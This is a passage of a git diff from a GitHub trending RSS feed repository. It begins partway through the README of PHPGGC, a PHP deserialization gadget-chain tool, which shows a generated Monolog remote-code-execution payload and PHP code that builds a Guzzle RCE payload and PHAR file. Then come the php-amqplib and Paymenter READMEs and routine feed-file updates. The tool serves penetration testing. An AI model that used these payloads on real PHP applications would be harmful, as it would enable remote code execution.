run the chain argument-free, with the <code>--test-payload</code> option.</p> <p>For instance, to test if <code>Monolog/RCE2</code> works on Symfony <code>4.x</code>:</p> <pre><code>$ composer create-project symfony/website-skeleton=4.x some_symfony $ cd some_symfony $ phpggc monolog/rce2 --test-payload Trying to deserialize payload... SUCCESS: Payload triggered ! </code></pre> <p>The exit code will be <code>0</code> if the payload triggered, <code>1</code> otherwise.</p> <h3>Testing your chain against every version of a package</h3> <p>If you wish to know which versions of a package a gadget chain works against, you can use <code>test-gc-compatibility.py</code>.</p> <pre><code>$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3 Testing 59 versions for monolog/monolog against 2 gadget chains. ┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓ ┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃ ┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩ │ 2.x-dev │ OK │ OK │ KO │ │ 2.3.0 │ OK │ OK │ KO │ │ 2.2.0 │ OK │ OK │ KO │ │ 2.1.1 │ OK │ OK │ KO │ │ 2.1.0 │ OK │ OK │ KO │ │ 2.0.2 │ OK │ OK │ KO │ │ 2.0.1 │ OK │ OK │ KO │ │ 2.0.0 │ OK │ OK │ KO │ │ 2.0.0-beta2 │ OK │ OK │ KO │ │ 2.0.0-beta1 │ OK │ OK │ KO │ │ 1.x-dev │ OK │ OK │ KO │ │ 1.26.1 │ OK │ OK │ KO │ │ 1.26.0 │ OK │ OK │ KO │ │ 1.25.5 │ OK │ OK │ KO │ │ 1.25.4 │ OK │ OK │ KO │ ... │ 1.0.1 │ OK │ KO │ KO │ │ 1.0.0 │ OK │ KO │ KO │ │ 1.0.0-RC1 │ OK │ KO │ KO │ │ dev-main │ OK │ OK │ KO │ │ * dev-phpstan │ OK │ OK │ KO │ └─────────────────┴─────────┴──────────────┴──────────────┘ </code></pre> <p>You can specify the versions you want to test by using the following syntaxe.</p> <pre><code>$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3 Testing 2 versions for monolog/monolog against 2 gadget chains. ┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓ ┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃ ┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩ │ 2.3.0 │ OK │ OK │ KO │ │ 1.25.4 │ OK │ OK │ KO │ └─────────────────┴─────────┴──────────────┴──────────────┘ </code></pre> <h1>API</h1> <p>Instead of using PHPGGC as a command line tool, you can program PHP scripts:</p> <pre><code class="language-php">&lt;?php # Include PHPGGC include("phpggc/lib/PHPGGC.php"); # Include guzzle/rce1 $gc = new \GadgetChain\Guzzle\RCE1(); # Always process parameters unless you're doing something out of the ordinary $parameters = $gc-&gt;process_parameters([ 'function' =&gt; 'system', 'parameter' =&gt; 'id', ]); # Generate the payload $object = $gc-&gt;generate($parameters); # Most (if not all) GC's do not use process_object and process_serialized, so # for quick &amp; dirty code you can omit those two $object = $gc-&gt;process_object($object); # Serialize the payload $serialized = serialize($object); $serialized = $gc-&gt;process_serialized($serialized); # Display it print($serialized . "\n"); # Create a PHAR file from this payload $phar = new \PHPGGC\Phar\Tar($serialized); file_put_contents('output.phar.tar', $phar-&gt;generate()); </code></pre> <p>This allows you to tweak the parameters or write exploits more easily. <em>Note: This is pretty experimental at the moment, so please, report bugs</em>.</p> <h1>Contributing</h1> <p>Pull requests are more than welcome. Please follow these simple guidelines:</p> <ul> <li><code>__destruct()</code> is always the best vector</li> <li>Specify at least the version of the library you've built the payload on</li> <li>Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger.</li> <li>Respect code style: for instance, opening brackets <code>{</code> are on a new line, and arrays should be written as <code>[1, 2, 3]</code> instead of the old, <code>array(1, 2, 3)</code>, notation.</li> </ul> <p>Codewise, the directory structure is fairly straightforward: gadgets in <em>gadgets.php</em>, description + logic in <em>chain.php</em>. You can define pre- and post- processing methods, if parameters need to be modified. Hopefully, the already implemented gadgets should be enough for you to build yours. Otherwise, I'd be glad to answer your questions.</p> <p>Please test as many versions as you can. The nomenclature for versions is as such: <code>[-]&lt;lower-version&gt; &lt;= &lt;higher-version&gt;[+]</code>. The <code>-</code> and <code>+</code> signs indicate that your payload may work on respectively lower and higher versions. For instance, if your gadget chain works from version 2.0.0 to version 4.4.1, which is the last version at the time, use <code>2.0.0 &lt;= 4.4.1+</code>.</p> <p>The <code>--new &lt;framework&gt; &lt;type&gt;</code> command-line option can be used to create the directory and file structure for a new gadget chain. For instance, use <code>./phpggc -n Drupal RCE</code> would create a new Drupal RCE gadgetchain.</p> <h1>Docker</h1> <p>If you don't want to install PHP, you can use <code>docker build . -t 'phpggc'</code>.</p> <p>To generate a gadget chain.</p> <pre><code>$ docker run phpggc Monolog/rce1 'system' 'id' O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}} </code></pre> <p>To run <code>test-gc-compatibility.py</code> from docker.</p> <pre><code>$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2 Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS). Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains. ┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓ ┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃ ┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩ │ 2.2 │ OK │ OK │ OK │ │ 2.7.2 │ OK │ OK │ KO │ └──────────────────────────┴─────────┴───────────────┴───────────────┘ </code></pre> <h1>License</h1> <p><a href="https://raw.githubusercontent.com/ambionics/phpggc/master/LICENSE">Apache License 2.0</a></p> - - - php-amqplib/php-amqplib - 2023-10-29T01:59:05Z - tag:github.com,2023-10-29:/php-amqplib/php-amqplib - - <p>The most widely used PHP client for RabbitMQ</p><hr><h1>php-amqplib</h1> <p><img src="https://github.com/php-amqplib/php-amqplib/workflows/PHPUnit%20tests/badge.svg?sanitize=true" alt="PHPUnit tests"> <a href="https://packagist.org/packages/php-amqplib/php-amqplib"><img src="https://img.shields.io/packagist/v/php-amqplib/php-amqplib.svg?style=flat-square" alt="Latest Version on Packagist"></a> <a href="https://packagist.org/packages/php-amqplib/php-amqplib"><img src="https://img.shields.io/packagist/dt/php-amqplib/php-amqplib.svg?style=flat-square" alt="Total Downloads"></a> <a href="https://raw.githubusercontent.com/php-amqplib/php-amqplib/master/LICENSE"><img src="https://img.shields.io/badge/license-LGPL_2.1-brightgreen.svg?style=flat-square" alt="Software License"></a></p> <p><a href="https://codecov.io/gh/php-amqplib/php-amqplib"><img src="https://codecov.io/gh/php-amqplib/php-amqplib/branch/master/graph/badge.svg?token=tgeYkUsaDM" alt="codecov"></a> <a href="https://scrutinizer-ci.com/g/php-amqplib/php-amqplib/code-structure"><img src="https://img.shields.io/scrutinizer/coverage/g/php-amqplib/php-amqplib.svg?style=flat-square" alt="Coverage Status"></a> <a href="https://scrutinizer-ci.com/g/php-amqplib/php-amqplib"><img src="https://img.shields.io/scrutinizer/g/php-amqplib/php-amqplib.svg?style=flat-square" alt="Quality Score"></a></p> <p>This library is a <em>pure PHP</em> implementation of the <a href="http://www.rabbitmq.com/tutorials/amqp-concepts.html">AMQP 0-9-1 protocol</a>. It's been tested against <a href="http://www.rabbitmq.com/">RabbitMQ</a>.</p> <p>The library was used for the PHP examples of <a href="http://manning.com/videla/">RabbitMQ in Action</a> and the <a href="http://www.rabbitmq.com/tutorials/tutorial-one-php.html">official RabbitMQ tutorials</a>.</p> <p>Please note that this project is released with a <a href="https://raw.githubusercontent.com/php-amqplib/php-amqplib/master/.github/CODE_OF_CONDUCT.md">Contributor Code of Conduct</a>. By participating in this project you agree to abide by its terms.</p> <h2>Project Maintainers</h2> <p>Thanks to <a href="https://github.com/videlalvaro">videlalvaro</a> and <a href="https://github.com/postalservice14">postalservice14</a> for creating <code>php-amqplib</code>.</p> <p>The package is now maintained by <a href="https://github.com/ramunasd">Ramūnas Dronga</a>, <a href="https://github.com/lukebakken">Luke Bakken</a> and several VMware engineers working on RabbitMQ.</p> <h2>Supported RabbitMQ Versions</h2> <p>Starting with version 2.0 this library uses <code>AMQP 0.9.1</code> by default and thus requires <a href="http://www.rabbitmq.com/download.html">RabbitMQ 2.0 or later version</a>. Usually server upgrades do not require any application code changes since the protocol changes very infrequently but please conduct your own testing before upgrading.</p> <h2>Supported RabbitMQ Extensions</h2> <p>Since the library uses <code>AMQP 0.9.1</code> we added support for the following RabbitMQ extensions:</p> <ul> <li>Exchange to Exchange Bindings</li> <li>Basic Nack</li> <li>Publisher Confirms</li> <li>Consumer Cancel Notify</li> </ul> <p>Extensions that modify existing methods like <code>alternate exchanges</code> are also supported.</p> <h3>Related libraries</h3> <ul> <li> <p><a href="https://github.com/php-enqueue/amqp-lib">enqueue/amqp-lib</a> is a <a href="https://github.com/queue-interop/queue-interop#amqp-interop">amqp interop</a> compatible wrapper.</p> </li> <li> <p><a href="https://github.com/cloudamqp/amqproxy">AMQProxy</a> is a proxy library with connection and channel pooling/reusing. This allows for lower connection and channel churn when using php-amqplib, leading to less CPU usage of RabbitMQ.</p> </li> </ul> <h2>Setup</h2> <p>Ensure you have <a href="http://getcomposer.org">composer</a> installed, then run the following command:</p> <pre><code class="language-bash">$ composer require php-amqplib/php-amqplib </code></pre> <p>That will fetch the library and its dependencies inside your vendor folder. Then you can add the following to your .php files in order to use the library</p> <pre><code class="language-php">require_once __DIR__.'/vendor/autoload.php'; </code></pre> <p>Then you need to <code>use</code> the relevant classes, for example:</p> <pre><code class="language-php">use PhpAmqpLib\Connection\AMQPStreamConnection; use PhpAmqpLib\Message\AMQPMessage; </code></pre> <h2>Usage</h2> <p>With RabbitMQ running open two Terminals and on the first one execute the following commands to start the consumer:</p> <pre><code class="language-bash">$ cd php-amqplib/demo $ php amqp_consumer.php </code></pre> <p>Then on the other Terminal do:</p> <pre><code class="language-bash">$ cd php-amqplib/demo $ php amqp_publisher.php some text to publish </code></pre> <p>You should see the message arriving to the process on the other Terminal</p> <p>Then to stop the consumer, send to it the <code>quit</code> message:</p> <pre><code class="language-bash">$ php amqp_publisher.php quit </code></pre> <p>If you need to listen to the sockets used to connect to RabbitMQ then see the example in the non blocking consumer.</p> <pre><code class="language-bash">$ php amqp_consumer_non_blocking.php </code></pre> <h2>Change log</h2> <p>Please see <a href="https://raw.githubusercontent.com/php-amqplib/php-amqplib/master/CHANGELOG.md">CHANGELOG</a> for more information what has changed recently.</p> <h2>API Documentation</h2> <p><a href="http://php-amqplib.github.io/php-amqplib/">http://php-amqplib.github.io/php-amqplib/</a></p> <h2>Tutorials</h2> <p>To not repeat ourselves, if you want to learn more about this library, please refer to the <a href="http://www.rabbitmq.com/tutorials/tutorial-one-php.html">official RabbitMQ tutorials</a>.</p> <h2>More Examples</h2> <ul> <li><code>amqp_ha_consumer.php</code>: demos the use of mirrored queues.</li> <li><code>amqp_consumer_exclusive.php</code> and <code>amqp_publisher_exclusive.php</code>: demos fanout exchanges using exclusive queues.</li> <li><code>amqp_consumer_fanout_{1,2}.php</code> and <code>amqp_publisher_fanout.php</code>: demos fanout exchanges with named queues.</li> <li><code>amqp_consumer_pcntl_heartbeat.php</code>: demos signal-based heartbeat sender usage.</li> <li><code>basic_get.php</code>: demos obtaining messages from the queues by using the <em>basic get</em> AMQP call.</li> </ul> <h2>Multiple hosts connections</h2> <p>If you have a cluster of multiple nodes to which your application can connect, you can start a connection with an array of hosts. To do that you should use the <code>create_connection</code> static method.</p> <p>For example:</p> <pre><code class="language-php">$connection = AMQPStreamConnection::create_connection([ ['host' =&gt; HOST1, 'port' =&gt; PORT, 'user' =&gt; USER, 'password' =&gt; PASS, 'vhost' =&gt; VHOST], ['host' =&gt; HOST2, 'port' =&gt; PORT, 'user' =&gt; USER, 'password' =&gt; PASS, 'vhost' =&gt; VHOST] ], $options); </code></pre> <p>This code will try to connect to <code>HOST1</code> first, and connect to <code>HOST2</code> if the first connection fails. The method returns a connection object for the first successful connection. Should all connections fail it will throw the exception from the last connection attempt.</p> <p>See <code>demo/amqp_connect_multiple_hosts.php</code> for more examples.</p> <h2>Batch Publishing</h2> <p>Let's say you have a process that generates a bunch of messages that are going to be published to the same <code>exchange</code> using the same <code>routing_key</code> and options like <code>mandatory</code>. Then you could make use of the <code>batch_basic_publish</code> library feature. You can batch messages like this:</p> <pre><code class="language-php">$msg = new AMQPMessage($msg_body); $ch-&gt;batch_basic_publish($msg, $exchange); $msg2 = new AMQPMessage($msg_body); $ch-&gt;batch_basic_publish($msg2, $exchange); </code></pre> <p>and then send the batch like this:</p> <pre><code class="language-php">$ch-&gt;publish_batch(); </code></pre> <h3>When do we publish the message batch?</h3> <p>Let's say our program needs to read from a file and then publish one message per line. Depending on the message size, you will have to decide when it's better to send the batch. You could send it every 50 messages, or every hundred. That's up to you.</p> <h2>Optimized Message Publishing</h2> <p>Another way to speed up your message publishing is by reusing the <code>AMQPMessage</code> message instances. You can create your new message like this:</p> <pre><code class="language-php">$properties = array('content_type' =&gt; 'text/plain', 'delivery_mode' =&gt; AMQPMessage::DELIVERY_MODE_PERSISTENT); $msg = new AMQPMessage($body, $properties); $ch-&gt;basic_publish($msg, $exchange); </code></pre> <p>Now let's say that while you want to change the message body for future messages, you will keep the same properties, that is, your messages will still be <code>text/plain</code> and the <code>delivery_mode</code> will still be <code>AMQPMessage::DELIVERY_MODE_PERSISTENT</code>. If you create a new <code>AMQPMessage</code> instance for every published message, then those properties would have to be re-encoded in the AMQP binary format. You could avoid all that by just reusing the <code>AMQPMessage</code> and then resetting the message body like this:</p> <pre><code class="language-php">$msg-&gt;setBody($body2); $ch-&gt;basic_publish($msg, $exchange); </code></pre> <h2>Truncating Large Messages</h2> <p>AMQP imposes no limit on the size of messages; if a very large message is received by a consumer, PHP's memory limit may be reached within the library before the callback passed to <code>basic_consume</code> is called.</p> <p>To avoid this, you can call the method <code>AMQPChannel::setBodySizeLimit(int $bytes)</code> on your Channel instance. Body sizes exceeding this limit will be truncated, and delivered to your callback with a <code>AMQPMessage::$is_truncated</code> flag set to <code>true</code>. The property <code>AMQPMessage::$body_size</code> will reflect the true body size of a received message, which will be higher than <code>strlen(AMQPMessage::getBody())</code> if the message has been truncated.</p> <p>Note that all data above the limit is read from the AMQP Channel and immediately discarded, so there is no way to retrieve it within your callback. If you have another consumer which can handle messages with larger payloads, you can use <code>basic_reject</code> or <code>basic_nack</code> to tell the server (which still has a complete copy) to forward it to a Dead Letter Exchange.</p> <p>By default, no truncation will occur. To disable truncation on a Channel that has had it enabled, pass <code>0</code> (or <code>null</code>) to <code>AMQPChannel::setBodySizeLimit()</code>.</p> <h2>Connection recovery</h2> <p>Some RabbitMQ clients using automated connection recovery mechanisms to reconnect and recover channels and consumers in case of network errors.</p> <p>Since this client is using a single-thread, you can set up connection recovery using exception handling mechanism.</p> <p>Exceptions which might be thrown in case of connection errors:</p> <pre><code class="language-php">PhpAmqpLib\Exception\AMQPConnectionClosedException PhpAmqpLib\Exception\AMQPIOException \RuntimeException \ErrorException </code></pre> <p>Some other exceptions might be thrown, but connection can still be there. It's always a good idea to clean up an old connection when handling an exception before reconnecting.</p> <p>For example, if you want to set up a recovering connection:</p> <pre><code class="language-php">$connection = null; $channel = null; while(true){ try { $connection = new AMQPStreamConnection(HOST, PORT, USER, PASS, VHOST); // Your application code goes here. do_something_with_connection($connection); } catch(AMQPRuntimeException $e) { echo $e-&gt;getMessage(); cleanup_connection($connection); usleep(WAIT_BEFORE_RECONNECT_uS); } catch(\RuntimeException $e) { cleanup_connection($connection); usleep(WAIT_BEFORE_RECONNECT_uS); } catch(\ErrorException $e) { cleanup_connection($connection); usleep(WAIT_BEFORE_RECONNECT_uS); } } </code></pre> <p>A full example is in <code>demo/connection_recovery_consume.php</code>.</p> <p>This code will reconnect and retry the application code every time the exception occurs. Some exceptions can still be thrown and should not be handled as a part of reconnection process, because they might be application errors.</p> <p>This approach makes sense mostly for consumer applications, producers will require some additional application code to avoid publishing the same message multiple times.</p> <p>This was a simplest example, in a real-life application you might want to control retr count and maybe gracefully degrade wait time to reconnection.</p> <p>You can find a more excessive example in <a href="https://github.com/php-amqplib/php-amqplib/issues/444">#444</a></p> <h2>UNIX Signals</h2> <p>If you have installed <a href="http://www.php.net/manual/en/book.pcntl.php">PCNTL extension</a> dispatching of signal will be handled when consumer is not processing message.</p> <pre><code class="language-php">$pcntlHandler = function ($signal) { switch ($signal) { case \SIGTERM: case \SIGUSR1: case \SIGINT: // some stuff before stop consumer e.g. delete lock etc pcntl_signal($signal, SIG_DFL); // restore handler posix_kill(posix_getpid(), $signal); // kill self with signal, see https://www.cons.org/cracauer/sigint.html case \SIGHUP: // some stuff to restart consumer break; default: // do nothing } }; pcntl_signal(\SIGTERM, $pcntlHandler); pcntl_signal(\SIGINT, $pcntlHandler); pcntl_signal(\SIGUSR1, $pcntlHandler); pcntl_signal(\SIGHUP, $pcntlHandler); </code></pre> <p>To disable this feature just define constant <code>AMQP_WITHOUT_SIGNALS</code> as <code>true</code></p> <pre><code class="language-php">&lt;?php define('AMQP_WITHOUT_SIGNALS', true); ... more code </code></pre> <h2>Signal-based Heartbeat</h2> <p>If you have installed <a href="http://www.php.net/manual/en/book.pcntl.php">PCNTL extension</a> and are using PHP 7.1 or greater, you can register a signal-based heartbeat sender.</p> <pre><code class="language-php">&lt;?php $sender = new PCNTLHeartbeatSender($connection); $sender-&gt;register(); ... code $sender-&gt;unregister(); </code></pre> <h2>Debugging</h2> <p>If you want to know what's going on at a protocol level then add the following constant to your code:</p> <pre><code class="language-php">&lt;?php define('AMQP_DEBUG', true); ... more code ?&gt; </code></pre> <h2>Benchmarks</h2> <p>To run the publishing/consume benchmark type:</p> <pre><code class="language-bash">$ make benchmark </code></pre> <h2>Tests</h2> <p>To successfully run the tests you need to first have a stock RabbitMQ broker running locally.Then, run tests like this:</p> <pre><code class="language-bash">$ make test </code></pre> <h2>Contributing</h2> <p>Please see <a href="https://raw.githubusercontent.com/php-amqplib/php-amqplib/master/CONTRIBUTING.md">CONTRIBUTING</a> for details.</p> <h2>Using AMQP 0.8</h2> <p>If you still want to use the old version of the protocol then you can do it by setting the following constant in your configuration code:</p> <pre><code class="language-php">define('AMQP_PROTOCOL', '0.8'); </code></pre> <p>The default value is <code>'0.9.1'</code>.</p> <h2>Providing your own autoloader</h2> <p>If for some reason you don't want to use composer, then you need to have an autoloader in place fo the library classes. People have <a href="https://github.com/videlalvaro/php-amqplib/issues/61#issuecomment-37855050">reported</a> to use this <a href="https://gist.github.com/jwage/221634">autoloader</a> with success.</p> <h2>Original README:</h2> <p>Below is the original README file content. Credits goes to the original authors.</p> <p>PHP library implementing Advanced Message Queuing Protocol (AMQP).</p> <p>The library is port of python code of py-amqplib <a href="http://barryp.org/software/py-amqplib/">http://barryp.org/software/py-amqplib/</a></p> <p>It have been tested with RabbitMQ server.</p> <p>Project home page: <a href="http://code.google.com/p/php-amqplib/">http://code.google.com/p/php-amqplib/</a></p> <p>For discussion, please join the group:</p> <p><a href="http://groups.google.com/group/php-amqplib-devel">http://groups.google.com/group/php-amqplib-devel</a></p> <p>For bug reports, please use bug tracking system at the project page.</p> <p>Patches are very welcome!</p> <p>Author: Vadim Zaliva <a href="mailto:lord@crocodile.org">lord@crocodile.org</a></p> - - - Paymenter/Paymenter - 2023-10-29T01:59:05Z - tag:github.com,2023-10-29:/Paymenter/Paymenter - - <p>Free and open-source webshop alternative for hostings</p><hr><p><img src="https://cdn.discordapp.com/attachments/935234707015229511/1028031007573680318/unknown.png" alt="Paymenter Logo"></p> <p><a href="https://discord.gg/xB4UUT3XQg"><img src="https://img.shields.io/discord/882318291014651924.svg?logo=discord" alt="Discord"></a> <a href="https://github.com/Paymenter/paymenter/raw/master/LICENSE"><img src="https://img.shields.io/github/license/paymenter/paymenter" alt="GitHub"></a> <a href="https://github.com/Paymenter/paymenter/releases"><img src="https://img.shields.io/github/v/release/paymenter/paymenter" alt="GitHub release (latest by date)"></a> <img src="https://img.shields.io/github/downloads/paymenter/paymenter/total" alt="Downloads"></p> <p><a href="https://discord.gg/xB4UUT3XQg">Discord</a>, <a href="https://demo.paymenter.org">Demo</a>, <a href="https://paymenter.org/docs/getting-started/introduction/">Docs</a>, <a href="https://paymenter.org">Website</a></p> <h2>A advanced payment system for your hosting company</h2> <h3>About</h3> <p>Introducing an advanced payment system for your hosting company, Paymenter! Paymenter is designed to be easy to use and install, with a user-friendly client and admin area. It's also highly customizable, with the ability to install a range of addons and themes from our marketplace created by talented developers and designers.</p> <h2>Features</h2> <ul> <li>Free and open-source</li> <li>User-Friendly client and admin area</li> <li>Easily customizable</li> <li>Pay intergration with: Stripe, PayPal, Mollie and more</li> <li>Server intergration with: Pterodactyl, Virtualizor, Virtfusion and more</li> <li>Automatically bill your customers</li> <li>Built in support center</li> <li>Generate coupons to give your customers discounts</li> </ul> <h2>Wanna take a look?</h2> <p>Visit our demo at: <a href="https://demo.paymenter.org">https://demo.paymenter.org</a></p> <h2>Requirements</h2> <p>The requirements for Paymenter are the following:</p> <ul> <li>PHP (8.1 or higher)</li> <li>Composer</li> </ul> <h2>Installation &amp; Documentation</h2> <p>For a detailed explanation of how to install and configure Paymenter, take a look at our <a href="https://paymenter.org/docs/getting-started/introduction/">documentation here</a>!</p> <ul> <li>Or, get additional help via <a href="https://discord.gg/xB4UUT3XQg">Community Discord</a>.</li> </ul> - - \ No newline at end of file diff --git a/pic/daily/index.xml b/pic/daily/index.xml index 65ed36b94a8..f167a8d3473 100644 --- a/pic/daily/index.xml +++ b/pic/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:42Z + 2023-10-30T01:33:21Z Daily Trending of Pic in GitHub \ No newline at end of file diff --git a/pic/weekly/index.xml b/pic/weekly/index.xml deleted file mode 100644 index e5aafd6b96d..00000000000 --- a/pic/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pic Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:56Z - Weekly Trending of Pic in GitHub - - \ No newline at end of file diff --git a/pickle/daily/index.xml b/pickle/daily/index.xml index c7f3bc4b47e..6e04e982ad1 100644 --- a/pickle/daily/index.xml +++ b/pickle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pickle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:16Z + 2023-10-30T01:33:36Z Daily Trending of Pickle in GitHub \ No newline at end of file diff --git a/pickle/weekly/index.xml b/pickle/weekly/index.xml deleted file mode 100644 index 24069ea538f..00000000000 --- a/pickle/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pickle Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:18Z - Weekly Trending of Pickle in GitHub - - \ No newline at end of file diff --git a/picolisp/daily/index.xml b/picolisp/daily/index.xml index 098dccc7f22..74bc54d0cf1 100644 --- a/picolisp/daily/index.xml +++ b/picolisp/daily/index.xml @@ -1,7 +1,7 @@ GitHub PicoLisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:18Z + 2023-10-30T01:33:36Z Daily Trending of PicoLisp in GitHub \ No newline at end of file diff --git a/picolisp/weekly/index.xml b/picolisp/weekly/index.xml deleted file mode 100644 index fd09767db78..00000000000 --- a/picolisp/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PicoLisp Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:19Z - Weekly Trending of PicoLisp in GitHub - - \ No newline at end of file diff --git a/piglatin/daily/index.xml b/piglatin/daily/index.xml index 77378dfd442..82917fd165c 100644 --- a/piglatin/daily/index.xml +++ b/piglatin/daily/index.xml @@ -1,7 +1,7 @@ GitHub PigLatin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:18Z + 2023-10-30T01:33:37Z Daily Trending of PigLatin in GitHub \ No newline at end of file diff --git a/piglatin/weekly/index.xml b/piglatin/weekly/index.xml deleted file mode 100644 index ce859f8b15a..00000000000 --- a/piglatin/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PigLatin Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:19Z - Weekly Trending of PigLatin in GitHub - - \ No newline at end of file diff --git a/pike/daily/index.xml b/pike/daily/index.xml index 6f68e354847..95d9e462f54 100644 --- a/pike/daily/index.xml +++ b/pike/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pike Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:17Z + 2023-10-30T01:33:38Z Daily Trending of Pike in GitHub \ No newline at end of file diff --git a/pike/weekly/index.xml b/pike/weekly/index.xml deleted file mode 100644 index 6596d1ec1c0..00000000000 --- a/pike/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pike Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:17Z - Weekly Trending of Pike in GitHub - - \ No newline at end of file diff --git a/plantuml/daily/index.xml b/plantuml/daily/index.xml index 4b466233a40..0bfbf512c17 100644 --- a/plantuml/daily/index.xml +++ b/plantuml/daily/index.xml @@ -1,7 +1,7 @@ GitHub PlantUML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:21Z + 2023-10-30T01:33:39Z Daily Trending of PlantUML in GitHub \ No newline at end of file diff --git a/plantuml/weekly/index.xml b/plantuml/weekly/index.xml deleted file mode 100644 index eef9a6876b3..00000000000 --- a/plantuml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PlantUML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:22Z - Weekly Trending of PlantUML in GitHub - - \ No newline at end of file diff --git a/plpgsql/daily/index.xml b/plpgsql/daily/index.xml index 387faa69b37..afd0dbde429 100644 --- a/plpgsql/daily/index.xml +++ b/plpgsql/daily/index.xml @@ -1,7 +1,7 @@ GitHub PLpgSQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:23Z + 2023-10-30T01:33:41Z Daily Trending of PLpgSQL in GitHub \ No newline at end of file diff --git a/plpgsql/weekly/index.xml b/plpgsql/weekly/index.xml deleted file mode 100644 index d05355b5f7d..00000000000 --- a/plpgsql/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PLpgSQL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:24Z - Weekly Trending of PLpgSQL in GitHub - - \ No newline at end of file diff --git a/plsql/daily/index.xml b/plsql/daily/index.xml index 226ccb31379..e546b7c21b7 100644 --- a/plsql/daily/index.xml +++ b/plsql/daily/index.xml @@ -1,7 +1,7 @@ GitHub PLSQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:20Z + 2023-10-30T01:33:40Z Daily Trending of PLSQL in GitHub \ No newline at end of file diff --git a/plsql/weekly/index.xml b/plsql/weekly/index.xml deleted file mode 100644 index 37b706ebe71..00000000000 --- a/plsql/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PLSQL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:21Z - Weekly Trending of PLSQL in GitHub - - \ No newline at end of file diff --git a/pod-6/daily/index.xml b/pod-6/daily/index.xml index 27a9c7e6981..ea696eaf775 100644 --- a/pod-6/daily/index.xml +++ b/pod-6/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pod 6 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:25Z + 2023-10-30T01:33:42Z Daily Trending of Pod 6 in GitHub \ No newline at end of file diff --git a/pod-6/weekly/index.xml b/pod-6/weekly/index.xml deleted file mode 100644 index 0cfc1bf6186..00000000000 --- a/pod-6/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pod 6 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:27Z - Weekly Trending of Pod 6 in GitHub - - \ No newline at end of file diff --git a/pod/daily/index.xml b/pod/daily/index.xml index b78fcabb9b0..d8c41e91c7e 100644 --- a/pod/daily/index.xml +++ b/pod/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pod Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:21Z + 2023-10-30T01:33:40Z Daily Trending of Pod in GitHub \ No newline at end of file diff --git a/pod/weekly/index.xml b/pod/weekly/index.xml deleted file mode 100644 index 3e79b6a9dbb..00000000000 --- 